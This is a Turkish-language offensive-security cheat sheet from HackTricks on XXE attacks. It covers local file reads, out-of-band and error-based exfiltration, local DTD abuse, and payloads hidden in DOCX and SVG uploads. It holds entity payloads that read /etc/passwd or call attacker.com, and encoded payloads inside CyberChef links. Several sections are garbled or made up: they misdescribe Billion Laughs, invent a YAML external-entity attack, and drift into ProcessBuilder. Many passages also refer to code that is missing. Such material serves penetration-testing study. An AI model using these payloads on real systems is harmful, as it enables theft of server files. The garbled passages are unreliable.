* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
XML, veri depolama ve taşıma için tasarlanmış bir işaretleme dilidir ve açıklayıcı adlandırılmış etiketlerin kullanımına izin veren esnek bir yapıya sahiptir. HTML'den, önceden tanımlanmış bir etiket kümesine sınırlı olmamasıyla farklılık gösterir. JSON'un yükselişiyle XML'nin önemi azalmıştır, ancak AJAX teknolojisindeki ilk rolüne rağmen.
- **Varlıklar Aracılığıyla Veri Temsili**: XML'deki varlıklar, `<` ve `>` gibi özel karakterlerin temsil edilmesini sağlar. Bu karakterler, XML'in etiket sistemiyle çakışmayı önlemek için `<` ve `>` ile eşleşir.
- **XML Elemanlarının Tanımlanması**: XML, eleman türlerinin tanımlanmasına izin verir ve elemanların nasıl yapılandırılması gerektiğini ve hangi içeriğe sahip olabileceğini belirler. İçerik türünden belirli alt elemanlara kadar her türlü içeriği içerebilir.
- **Belge Türü Tanımı (DTD)**: DTD'ler, belgenin yapısını ve içerebileceği veri türlerini tanımlamak için XML'de önemlidir. İç, dış veya bir kombinasyon olabilirler ve belgelerin nasıl biçimlendirildiğini ve doğrulandığını yönlendirirler.
- **Özel ve Harici Varlıklar**: XML, esnek veri temsili için DTD içinde özel varlıkların oluşturulmasını destekler. URL ile tanımlanan harici varlıklar, özellikle XML Harici Varlık (XXE) saldırıları bağlamında güvenlik endişelerine neden olur. Bu saldırılar, XML ayrıştırıcılarının harici veri kaynaklarını nasıl işlediğini sömürür: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **Parametre Varlıklarıyla XXE Tespiti**: Geleneksel yöntemlerin ayrıştırıcı güvenlik önlemleri nedeniyle başarısız olduğu durumlarda, özellikle XXE zafiyetlerini tespit etmek için XML parametre varlıkları kullanılabilir. Bu varlıklar, DNS sorgularını tetikleyen veya kontrol edilen bir alan adına HTTP istekleri gönderen gibi bağlantı dışı tespit tekniklerine izin verir ve zafiyeti doğrular.
-`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
-`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
**Java** tabanlı uygulamalarda, XXE aracılığıyla bir dizinin içeriğini listelemek mümkün olabilir. Aşağıdaki gibi bir payload ile (dosya yerine sadece dizini isteyerek):
Önceden yorumlanan teknik kullanılarak sunucunun, zayıf noktalarını göstermek için kontrol ettiğiniz bir sunucuya erişmesini sağlayabilirsiniz. Ancak, bu çalışmıyorsa, muhtemelen **XML varlıklarına izin verilmiyor** demektir. Bu durumda **XML parametre varlıklarını** deneyebilirsiniz:
**Bu durumda, sunucunun, bir dosyanın içeriğini HTTP isteği aracılığıyla gönderecek olan kötü amaçlı bir yük içeren yeni bir DTD yüklemesini sağlayacağız (çok satırlı dosyalar için bunu** _**ftp://**_** üzerinden dışarıya çıkarmayı deneyebilirsiniz). Bu açıklama,** [**Portswiggers lab burada**](https://portswigger.net/web-security/xxe/blind)** temel alınmıştır.**
-`/etc/hostname` dosyasının içeriğini okuyan bir XML parametre varlığı olan `%file` oluşturulur.
- Başka bir XML parametre varlığı olan `%eval` tanımlanır. Dinamik olarak yeni bir XML parametre varlığı olan `%exfiltrate`'i bildirir. `%exfiltrate` varlığı, URL'nin sorgu dizgisinde `%file` varlığının içeriğini ileterek saldırganın sunucusuna HTTP isteği yapacak şekilde ayarlanır.
Bu payload, XML parametre varlığı`%xxe`'yi tanımlar ve bunu DTD içine dahil eder. Bir XML ayrıştırıcı tarafından işlendiğinde, bu payload saldırganın sunucusundan harici DTD'yi alır. Ayrıştırıcı daha sonra DTD'yi içeride yorumlar ve kötü amaçlı DTD'de belirtilen adımları gerçekleştirerek `/etc/hostname` dosyasının saldırganın sunucusuna sızmasına neden olur.
**Bu durumda, sunucunun hata mesajlarını görebiliyorsanız, bir dosyanın içeriğini bir hata mesajında gösteren kötü amaçlı bir DTD yüklemesini sağlayacağız.** [**Buradan örnek alınmıştır.**](https://portswigger.net/web-security/xxe/blind)
Kötü amaçlı bir harici Document Type Definition (DTD) kullanarak, `/etc/passwd` dosyasının içeriğini ortaya çıkaran bir XML ayrıştırma hatası mesajı tetiklenebilir. Bunun için aşağıdaki adımlar izlenir:
1.`/etc/passwd` dosyasının içeriğini içeren `file` adında bir XML parametre varlığı tanımlanır.
2.`eval` adında bir XML parametre varlığı tanımlanır ve `error` adında başka bir XML parametre varlığı için dinamik bir bildirim içerir. Bu `error` varlığı değerlendirildiğinde, `file` varlığının içeriğini adı olarak kullanarak var olmayan bir dosya yüklemeye çalışır.
3.`eval` varlığı çağrılır ve `error` varlığının dinamik olarak bildirilmesine yol açar.
4.`error` varlığının çağrılması, var olmayan bir dosya yüklemeye çalışarak, `/etc/passwd` dosyasının içeriğini dosya adının bir parçası olarak içeren bir hata mesajı üretir.
_**Lütfen dikkat edin, harici DTD, ikinci bir varlığı (****`eval`****) içermemize izin verir, ancak içsel DTD'de bu yasaktır. Bu nedenle, genellikle harici bir DTD kullanmadan bir hata zorlayamazsınız.**_
XML dil spesifikasyonundaki bir açık, bir belgenin DTD'sinin iç ve dış bildirimleri birleştirdiğinde hata mesajları aracılığıyla hassas verilerin ortaya çıkmasına neden olabilir. Bu sorun, harici bir DTD'de orijinal olarak bildirilen bir XML parametre varlığının içsel bir DTD içinden yeniden tanımlanmasına izin vererek hata tabanlı XXE saldırılarının gerçekleştirilmesini kolaylaştırır. Sunucu tarafından dış bağlantılar engellendiğinde, saldırganlar hassas bilgileri ortaya çıkarmak için yerel DTD dosyalarına güvenmek zorundadır.
Sunucunun dosya sistemi `/usr/local/app/schema.dtd` konumunda bir DTD dosyası içeriyorsa ve bu dosyada `custom_entity` adında bir varlık tanımlanmışsa, saldırgan aşağıdaki gibi bir karma DTD göndererek `/etc/passwd` dosyasının içeriğini ortaya çıkaracak bir XML ayrıştırma hatası oluşturabilir:
-`local_dtd` adında bir XML parametre varlık tanımı, sunucunun dosya sisteminde bulunan harici DTD dosyasını içerir.
-`custom_entity` XML parametre varlığı için bir yeniden tanımlama gerçekleşir. Bu varlık, başlangıçta harici DTD'de tanımlanmış olup [hata tabanlı XXE saldırısını](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) içermektedir. Bu yeniden tanımlama, `/etc/passwd` dosyasının içeriğini ortaya çıkaran bir ayrıştırma hatası oluşturmak amacıyla tasarlanmıştır.
-`local_dtd` varlığı kullanılarak, harici DTD etkinleştirilir ve yeni tanımlanan `custom_entity` kapsanır. Bu işlemler dizisi, saldırı tarafından hedeflenen hata mesajının yayınlanmasına neden olur.
**Gerçek dünya örneği:** GNOME masaüstü ortamını kullanan sistemler genellikle `/usr/share/yelp/dtd/docbookx.dtd` konumunda `ISOamso` adında bir varlık içeren bir DTD'ye sahiptir.
Bu teknik, bir **dahili DTD kullandığından önce geçerli bir DTD bulmanız gerekmektedir**. Bunun için, sunucunun kullandığı**işletim sistemi/yazılımı yükleyerek** veya sistemlerin içindeki **varsayılan DTD'lerin bir listesini alarak** ve **var olup olmadığını kontrol ederek** aynı DTD'leri arayabilirsiniz:
Ayrıca, **kurban sistemin Docker görüntüsüne** sahipseniz, aynı depodaki aracı kullanarak **görüntüyü tarama** ve sistem içinde bulunan **DTD'lerin yolunu bulma** imkanınız vardır. Nasıl yapılacağını öğrenmek için [github'ın Readme](https://github.com/GoSecure/dtd-finder) dosyasını okuyun.
Bu saldırının daha ayrıntılı bir açıklaması için, **Detectify'nin [bu harika yazısının](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) ikinci bölümüne bakabilirsiniz**.
**Birçok web uygulaması, Microsoft Office belgelerini yüklemek için** olanak sağlar ve ardından bu belgelerden belirli ayrıntıları çıkarır. Örneğin, bir web uygulaması kullanıcıların bir XLSX formatındaki elektronik tabloyu yüklemelerine izin verebilir. Analizcilerin verileri elektronik tablodan çıkarması için en az bir XML dosyasını ayrıştırması gerekmektedir.
Bu zafiyeti test etmek için, **XXE yükü içeren bir Microsoft Office dosyası oluşturmak gereklidir**. İlk adım, belgenin açılabilmesi için boş bir dizin oluşturmaktır.
Belge açıldıktan sonra, `./unzipped/word/document.xml` konumunda bulunan XML dosyası tercih edilen bir metin düzenleyicide (örneğin vim) açılıp düzenlenmelidir. XML, genellikle bir HTTP isteğiyle başlayan istenen XXE yükünü içerecek şekilde değiştirilmelidir.
Değiştirilmiş XML satırları, iki kök XML nesnesi arasına yerleştirilmelidir. İstekler için izlenebilir bir URL ile URL'nin yerini değiştirmek önemlidir.
Son olarak, kötü amaçlı poc.docx dosyasını oluşturmak için dosya sıkıştırılabilir. Daha önce oluşturulan "unzipped" dizininden aşağıdaki komut çalıştırılmalıdır:
Şimdi, oluşturulan dosya potansiyel olarak savunmasız olan web uygulamasına yüklenebilir ve Burp Collaborator günlüklerinde bir isteğin görünmesi umulabilir.
**jar** protokolü yalnızca **Java uygulamaları** içinde erişilebilir hale getirilmiştir. Bu, hem yerel hem de uzak dosyalara hizmet eden bir **PKZIP** arşivinde dosya erişimini mümkün kılmak için tasarlanmıştır (örneğin `.zip`, `.jar`, vb.).
PKZIP dosyaları içindeki dosyalara erişebilmek, sistem DTD dosyaları aracılığıyla XXE'yi kötüye kullanmak için **son derece kullanışlıdır.** Sistem DTD dosyalarını kötüye kullanma hakkında bilgi edinmek için [bu bölümü kontrol edin](xxe-xee-xml-external-entity.md#error-based-system-dtd).
Bu süreci ikinci adımda kesmek için ilginç bir teknik, arşiv dosyasını sunarken sunucu bağlantısını sürekli açık tutmaktır. Bu amaçla [bu depoda](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) bulunan araçlar kullanılabilir, bunlar arasında bir Python sunucusu (`slow_http_server.py`) ve bir Java sunucusu (`slowserver.jar`) bulunur.
Geçici bir dizine dosya yazmak, yerel dosya dahil etme, şablon enjeksiyonu, XSLT RCE, serileştirme vb. bir yol geçişi içeren başka bir zafiyeti **yükseltmeye yardımcı olabilir**.
Billion Laugh Attack (Milyar Gülen Saldırısı) olarak da bilinen DoS (Hizmet Dışı Bırakma) saldırıları, XML dış etkilerini (XXE) kullanarak hedef sistemdeki kaynakları tüketmeyi amaçlar. Bu saldırı türü, hedef sistemdeki XML ayrıştırıcısının aşırı yüklenmesine neden olur.
Bu saldırı, bir XML dosyasında yer alan bir dış etki tanımı (external entity definition) kullanılarak gerçekleştirilir. Bu tanım, bir varlık (entity) olarak adlandırılan bir dış dosyaya veya kaynağa işaret eder. Saldırgan, bu varlık referansını bir milyar kez tekrarlayarak XML ayrıştırıcısının aşırı yüklenmesine neden olur.
Bu saldırı sonucunda, hedef sistemdeki kaynaklar tükenir ve hizmetler kullanılamaz hale gelir. Bu tür saldırılar, hedef sistemdeki XML ayrıştırıcısının yanıt vermemesine veya çökmesine neden olabilir.
Yaml saldırısı, YAML (YAML Ain't Markup Language) dosyalarının işlenmesi sırasında ortaya çıkan bir güvenlik açığıdır. Bu saldırı, XML External Entity (XXE) saldırısına benzer bir şekilde çalışır. YAML, yapılandırma dosyalarını temsil etmek için kullanılan bir veri serileştirme formatıdır.
Yaml saldırısı, YAML dosyasının içine yerleştirilen kötü niyetli bir dış etki (external entity) kullanarak gerçekleştirilir. Bu dış etki, YAML işlemleyicisi tarafından işlenirken, sistemdeki hassas bilgilere erişim sağlayabilir veya istismar edilebilir.
Yaml saldırısı, bir hedefin YAML dosyasını işlerken, dış etkilerin yüksek ayrıcalıklara sahip bir sunucuya erişmesine izin verebilir. Bu, saldırganın hedef sistemi ele geçirmesine ve yetkisiz işlemler gerçekleştirmesine olanak tanır.
Yaml saldırılarından korunmak için, güvenlik açıklarını en aza indirmek için güvenilir bir YAML işlemleyici kullanılmalıdır. Ayrıca, kullanıcı girişlerinin doğrulanması ve güvenli bir şekilde işlenmesi önemlidir.
Müşteri verilerini sunucu tarafında XML belgelerine entegre ederken, özellikle arka uç SOAP isteklerinde, XML yapısı üzerinde doğrudan kontrol genellikle sınırlıdır ve `DOCTYPE` öğesini değiştirmek kısıtlanır, bu da geleneksel XXE saldırılarını engeller. Bununla birlikte, `XInclude` saldırısı, XML belgesinin herhangi bir veri öğesine harici varlıkların eklenmesine izin vererek bir çözüm sunar. Bu yöntem, yalnızca sunucu tarafında oluşturulan XML belgesinin bir kısmı kontrol edilebildiğinde bile etkilidir.
Bir `XInclude` saldırısı gerçekleştirmek için, `XInclude` ad alanının bildirilmesi ve hedeflenen harici varlık için dosya yolu belirtilmesi gerekmektedir. Aşağıda, böyle bir saldırının nasıl formüle edilebileceğine dair özlü bir örnek bulunmaktadır:
Kullanıcılar tarafından belirli uygulamalara yüklenen ve ardından sunucuda işlenen dosyalar, XML veya XML içeren dosya biçimlerinin nasıl işlendiği konusunda güvenlik açıklarını sömürebilir. Ofis belgeleri (DOCX) ve resimler (SVG) gibi yaygın dosya biçimleri XML'e dayanmaktadır.
Kullanıcılar **resim yüklediğinde**, bu resimler sunucu tarafında işlenir veya doğrulanır. PNG veya JPEG gibi formatları bekleyen uygulamalar için bile, **sunucunun resim işleme kütüphanesi SVG resimlerini de destekleyebilir**. XML tabanlı bir biçim olan SVG, saldırganların kötü niyetli SVG resimleri göndererek sunucuyu XXE (XML Dış Kaynak) güvenlik açıklarına maruz bırakmasına olanak tanır.
Her iki durumda da, sunucunun yazılımının XML işleme yeteneklerini istismar eden saldırıları başlatmak için SVG formatı kullanılır, bu da sağlam giriş doğrulama ve güvenlik önlemlerine olan ihtiyacı vurgular.
**Not: Dosya okuma veya yürütme sonucunun ilk satırı OLUŞTURULAN resmin İÇİNDE görünecektir. Bu nedenle, SVG'nin oluşturduğu resme erişebilmeniz gerekmektedir.**
Bir POST isteği verileri XML formatında kabul ediyorsa, bu isteği bir XXE'yi sömürmek için kullanabilirsiniz. Örneğin, normal bir istek aşağıdakileri içeriyorsa:
İsteği değiştirmek için "Content Type Converter" adlı bir Burp Eklentisini kullanabilirsiniz. Bu örneği [burada](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) bulabilirsiniz:
Burada \[**"Encode Recipe**" of cyberchef here ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) UTF-7'ye dönüştürmek için \[**"Encode Recipe**" of cyberchef here ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) kullanabilirsiniz.
[**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes) adresinden alınan bir hile\
**HTML entiteleri** kullanarak bir **entiteyi içinde bir entite oluşturabilir** ve ardından bir dtd yüklemek için onu çağırabilirsiniz.\
Kullanılan **HTML Entiteleri**nin **sayısal** olması gerektiğini unutmayın (örnekteki gibi \[bu örnekte]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
Bu örnekte, `DOCTYPE` tanımında `foo` adında bir öğe ve `xxe` adında bir varlık tanımlanmıştır. `xxe` varlığı, `/etc/passwd` dosyasını okumak için kullanılır. `foo` öğesinde `&xxe;` varlığı çağrılarak `/etc/passwd` dosyasının içeriği alınır.
XXE saldırıları, XML dış varlık (External Entity) işleme zafiyetlerini hedef alır. Bu saldırılar, XML verilerini işleyen uygulamalarda güvenlik açıkları kullanarak harici kaynakları çıkarmayı amaçlar.
Bu saldırı türü, hedef uygulamanın XML verilerini işlerken dış varlıkları yüklemesine izin veren bir zafiyet olduğunda gerçekleştirilebilir. Saldırgan, XML verilerine özel bir dış varlık tanımlayarak, hedef uygulamanın bu dış varlığı işlemesini sağlar. Bu dış varlık, saldırganın kontrol ettiği bir kaynağa işaret edebilir, böylece saldırgan, hedef uygulamanın bu kaynağa erişmesini sağlayabilir.
XXE saldırıları, hassas verilerin çalınması, sistem kaynaklarının ifşa edilmesi veya hedef uygulamanın hizmet dışı kalması gibi ciddi sonuçlara yol açabilir. Bu nedenle, uygulama geliştiricilerinin güvenli XML işleme tekniklerini kullanmaları önemlidir.
SOAP (Simple Object Access Protocol), XML tabanlı bir iletişim protokolüdür ve web servislerinde sıklıkla kullanılır. SOAP, XML mesajlarını kullanarak istemci ve sunucu arasında veri alışverişi yapar. SOAP tabanlı web servislerinde, XEE (XML External Entity) saldırıları yaygın olarak kullanılan bir zayıflıktır.
### XEE Nedir?
XML External Entity (XEE), XML tabanlı uygulamalarda bulunan bir güvenlik açığıdır. Bu saldırı türünde, saldırgan, XML dökümanında harici bir varlık (external entity) tanımlayarak, sunucunun hassas verilerini ifşa etmesini sağlar. XEE saldırıları, SOAP tabanlı web servislerinde özellikle yaygın olarak kullanılır.
### XEE Saldırıları Nasıl Gerçekleştirilir?
XEE saldırıları, XML dökümanında yer alan harici varlık tanımlamaları aracılığıyla gerçekleştirilir. Saldırgan, XML dökümanına özel bir varlık tanımlayarak, sunucunun dosya sistemine erişim sağlayabilir veya hassas verileri ifşa edebilir.
XEE saldırıları genellikle şu adımları içerir:
1. XML dökümanında harici bir varlık tanımlama.
2. Harici varlık kullanarak sunucunun dosya sistemine erişim veya hassas verilerin ifşa edilmesi.
### XEE Saldırılarının Etkileri
XEE saldırıları, başarılı bir şekilde gerçekleştirildiğinde ciddi güvenlik sorunlarına yol açabilir. Saldırgan, sunucunun dosya sistemine erişim sağlayarak, hassas verilere erişebilir veya sunucunun hizmetini engelleyebilir. Bu tür saldırılar, kullanıcıların gizli bilgilerinin ifşa edilmesine veya yetkisiz erişime neden olabilir.
### XEE Saldırılarına Karşı Korunma Yöntemleri
XEE saldırılarına karşı korunmak için aşağıdaki önlemler alınabilir:
1. Giriş doğrulama ve veri doğrulama işlemlerinin güvenli bir şekilde gerçekleştirilmesi.
2. XML dökümanlarının güvenli bir şekilde işlenmesi için güvenilir XML işleme kütüphanelerinin kullanılması.
3. Harici varlık tanımlamalarının devre dışı bırakılması veya sınırlanması.
4. Güvenlik duvarı ve güvenlik politikalarının doğru şekilde yapılandırılması.
XEE saldırılarına karşı korunmak için güvenlik açıklarının düzgün bir şekilde tespit edilmesi ve düzeltilmesi önemlidir. Bu nedenle, düzenli güvenlik testleri ve güncellemeler yapılmalıdır.
Bu örnek, [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe) adresinden esinlenilmiştir.
XLIFF (XML Localization Interchange File Format), yerelleştirme süreçlerinde veri alışverişini standartlaştırmak için kullanılır. Bu, yerelleştirme sırasında araçlar arasında yerelleştirilebilir veri transferi için kullanılan XML tabanlı bir formattır ve CAT (Bilgisayar Destekli Çeviri) araçları için ortak bir değişim formatı olarak kullanılır.
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
Bu yaklaşım, Kullanıcı Aracısının Java 1.8 kullanımını gösterdiğini ortaya koyar. Bu Java sürümünün bir kısıtlaması, /etc/passwd gibi yeni satır karakteri içeren dosyaların Out of Band tekniği kullanılarak alınamamasıdır.
Bu kısıtlamayı aşmak için Hata Tabanlı bir yaklaşım kullanılır. DTD dosyası, bir hedef dosyadan veri içeren bir hatayı tetiklemek için aşağıdaki gibi yapılandırılır:
Bu değişiklik, dosyanın içeriğinin başarılı bir şekilde dışarı sızdırılmasına yol açar, çünkü HTTP aracılığıyla gönderilen hata çıktısında yansıtılır. Bu, hassas bilgileri çıkarmak için Hem Out of Band hem de Hata Tabanlı teknikleri kullanarak başarılı bir XXE (XML External Entity) saldırısını gösterir.
Bir XXE saldırısıyla hedef sistemin bir dosyayı okumasını sağlayabilirsiniz. Bu saldırıyı gerçekleştirmek için, hedef sisteme bir XML dökümanı göndermeniz gerekmektedir. XML dökümanında, hedefin okumasını istediğiniz dosyanın yolunu belirtmelisiniz.
Örneğin, aşağıdaki XML dökümanını hedef sisteme göndererek `/etc/passwd` dosyasını okumasını sağlayabilirsiniz:
Hedef sistem bu XML dökümanını işlerken, `xxe` entity'sini `file:///etc/passwd` dosyasının içeriğiyle değiştirir ve sonuç olarak `/etc/passwd` dosyasının içeriğini size döner.
Bu saldırı tekniği, hedef sistemin hassas bilgilerini elde etmek için kullanılabilir. Ancak, bazı hedef sistemler XXE saldırılarına karşı korunmak için önlemler alır. Bu nedenle, saldırı yapmadan önce hedef sistemin bu tür bir saldırıya karşı savunmasız olup olmadığını kontrol etmek önemlidir.
XMLDecoder, bir XML mesajına dayalı olarak nesneler oluşturan bir Java sınıfıdır. Kötü niyetli bir kullanıcı, bir uygulamanın **readObject** yöntemine keyfi veri kullanmasını sağlayabilirse, sunucuda anında kod yürütme yetkisi elde eder.
ProcessBuilder, bir işlem oluşturmak ve yürütmek için kullanılan bir sınıftır. Bu sınıf, harici bir işlemi başlatmak için kullanılabilir ve işlemle etkileşimde bulunmak için gerekli olan giriş ve çıkış akışlarını yönetir.
ProcessBuilder, bir komut veya komut dosyası adı ve gerekli argümanlarla birlikte bir işlem oluşturmak için kullanılır. Ardından, işlemi başlatmak için `start()` yöntemi çağrılır.
İşlem başlatıldığında, işlemle etkileşimde bulunmak için `Process` sınıfının yöntemlerini kullanabilirsiniz. Örneğin, işlemi sonlandırmak için `destroy()` yöntemini kullanabilir veya işlem çıktısını almak için `getInputStream()` veya `getErrorStream()` yöntemlerini kullanabilirsiniz.
ProcessBuilder, bir işlemi başlatmak için kullanılan güvenli bir yöntemdir. Ancak, kötü niyetli kullanıcılar tarafından kötüye kullanılabilir. Özellikle, dışarıdan gelen verileri işlem argümanları olarak kullanırken dikkatli olmak önemlidir. Kötü niyetli kullanıcılar, XML dış etkileşimli varlıklarını (XXE) kullanarak hassas verileri sızdırabilir veya sistemdeki dosyaları okuyabilirler.
Bu nedenle, güvenlik açısından, dışarıdan gelen verileri işlem argümanları olarak kullanırken dikkatli olmalı ve gerekirse girişleri doğrulamalı veya sınırlamalıyız. Ayrıca, güvenlik duvarları ve filtreler gibi ek önlemler almak da önemlidir.
* Kendi harici DTD kullanarak HTTP üzerinden bilgi çıkarma: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**